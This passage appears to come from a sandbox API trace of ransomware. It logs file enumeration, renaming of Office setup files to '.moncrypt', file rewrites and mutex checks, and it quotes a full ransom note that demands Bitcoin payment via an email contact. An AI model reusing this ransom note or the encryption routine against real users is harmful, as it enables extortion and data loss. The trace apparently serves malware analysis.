cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.795] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXTL") returned 34 [0047.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", cchWideChar=102, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XMLt", lpUsedDefaultChar=0x0) returned 102 [0047.796] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0047.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XMLt", lpUsedDefaultChar=0x0) returned 4 [0047.796] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0x54e280 [0047.796] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0047.796] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0047.796] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0047.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", dwFileAttributes=0x20) returned 1 [0047.797] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0047.797] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.moncrypt")) returned 1 [0047.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.798] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0047.798] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0xa40 [0047.798] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0047.798] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0xa40, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e3b4*=0xa40, lpOverlapped=0x0) returned 1 [0047.799] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.799] GlobalLock (hMem=0x440004) returned 0x557578 [0047.799] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.800] GlobalUnlock (hMem=0x44000c) returned 0 [0047.800] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.800] GlobalUnlock (hMem=0x440004) returned 0 [0047.800] GlobalLock (hMem=0x440004) returned 0x555568 [0047.800] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.800] GlobalUnlock (hMem=0x440004) returned 0 [0047.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.814] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0047.814] CloseHandle (hObject=0x190) returned 1 [0047.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0047.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXTL") returned 34 [0047.814] GlobalLock (hMem=0x440004) returned 0x555568 [0047.815] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.815] GlobalUnlock (hMem=0x440004) returned 0 [0047.815] GlobalLock (hMem=0x440004) returned 0x555568 [0047.815] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.815] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.815] GlobalUnlock (hMem=0x440004) returned 0 [0047.815] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.815] GlobalUnlock (hMem=0x44000c) returned 0 [0047.815] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0047.815] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dc01720, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3dc01720, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3dc27880, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0047.815] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0047.815] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0047.815] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0047.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.815] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0047.815] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0047.815] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0047.815] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0047.815] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0047.816] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0047.816] ReadFile (in: hFile=0x190, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0047.816] CloseHandle (hObject=0x190) returned 1 [0047.816] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0047.816] GetLastError () returned 0x12 [0047.816] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0047.816] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.816] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.816] GlobalUnlock (hMem=0x44000c) returned 0 [0047.816] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.816] GlobalLock (hMem=0x440004) returned 0x557578 [0047.816] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.816] GlobalUnlock (hMem=0x44000c) returned 0 [0047.817] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.817] GlobalUnlock (hMem=0x440004) returned 0 [0047.817] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3dc4d9e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3dc4d9e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0047.817] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0047.817] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.817] GlobalLock (hMem=0x440004) returned 0x555568 [0047.817] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.817] GlobalUnlock (hMem=0x440004) returned 0 [0047.817] GlobalLock (hMem=0x440004) returned 0x555568 [0047.817] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.817] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.817] GlobalUnlock (hMem=0x440004) returned 0 [0047.817] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.817] GlobalUnlock (hMem=0x44000c) returned 0 [0047.817] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.817] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3dc4d9e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3dc4d9e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.817] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0047.817] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.817] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.817] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.817] GlobalUnlock (hMem=0x44000c) returned 0 [0047.817] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.817] GlobalLock (hMem=0x440004) returned 0x557578 [0047.817] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.818] GlobalUnlock (hMem=0x44000c) returned 0 [0047.818] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.818] GlobalUnlock (hMem=0x440004) returned 0 [0047.818] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.818] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x605, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML.moncrypt", cAlternateFileName="ACCESS~1.MON")) returned 1 [0047.818] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0047.818] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.818] GlobalLock (hMem=0x440004) returned 0x555568 [0047.818] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.818] GlobalUnlock (hMem=0x440004) returned 0 [0047.818] GlobalLock (hMem=0x440004) returned 0x555568 [0047.818] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.818] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.818] GlobalUnlock (hMem=0x440004) returned 0 [0047.818] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.818] GlobalUnlock (hMem=0x44000c) returned 0 [0047.818] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.818] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML.moncrypt", cAlternateFileName="ACCESS~2.MON")) returned 1 [0047.818] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0047.818] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.818] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.818] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.818] GlobalUnlock (hMem=0x44000c) returned 0 [0047.818] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.818] GlobalLock (hMem=0x440004) returned 0x557578 [0047.818] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.818] GlobalUnlock (hMem=0x44000c) returned 0 [0047.818] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.818] GlobalUnlock (hMem=0x440004) returned 0 [0047.818] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.819] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dc01720, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3dc01720, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3dc27880, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0047.819] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0047.819] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.819] GlobalLock (hMem=0x440004) returned 0x555568 [0047.819] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.819] GlobalUnlock (hMem=0x440004) returned 0 [0047.819] GlobalLock (hMem=0x440004) returned 0x555568 [0047.819] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.819] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.819] GlobalUnlock (hMem=0x440004) returned 0 [0047.819] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.819] GlobalUnlock (hMem=0x44000c) returned 0 [0047.819] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.819] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 1 [0047.819] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0047.819] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.819] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.819] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.819] GlobalUnlock (hMem=0x44000c) returned 0 [0047.819] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.819] GlobalLock (hMem=0x440004) returned 0x557578 [0047.819] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.819] GlobalUnlock (hMem=0x44000c) returned 0 [0047.819] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.819] GlobalUnlock (hMem=0x440004) returned 0 [0047.819] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.819] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 0 [0047.819] GetLastError () returned 0x12 [0047.820] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0047.820] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1 [0047.820] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.820] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.820] GlobalLock (hMem=0x440004) returned 0x555568 [0047.820] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.820] GlobalUnlock (hMem=0x440004) returned 0 [0047.820] GlobalLock (hMem=0x440004) returned 0x555568 [0047.820] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.820] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.820] GlobalUnlock (hMem=0x440004) returned 0 [0047.820] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.820] GlobalUnlock (hMem=0x44000c) returned 0 [0047.820] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.820] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.820] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.820] GlobalUnlock (hMem=0x44000c) returned 0 [0047.820] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.820] GlobalLock (hMem=0x440004) returned 0x557578 [0047.821] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.821] GlobalUnlock (hMem=0x44000c) returned 0 [0047.821] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.821] GlobalUnlock (hMem=0x440004) returned 0 [0047.821] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.821] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us", len=0x5b | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us") returned 1 [0047.821] GlobalLock (hMem=0x440004) returned 0x555568 [0047.821] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.821] GlobalUnlock (hMem=0x440004) returned 0 [0047.821] GlobalLock (hMem=0x440004) returned 0x555568 [0047.821] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.821] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.821] GlobalUnlock (hMem=0x440004) returned 0 [0047.821] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.821] GlobalUnlock (hMem=0x44000c) returned 0 [0047.821] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e698f8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@⌀R⋔R企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0047.832] GetLastError () returned 0x3 [0047.832] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.832] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0047.832] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0047.833] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e698f8, 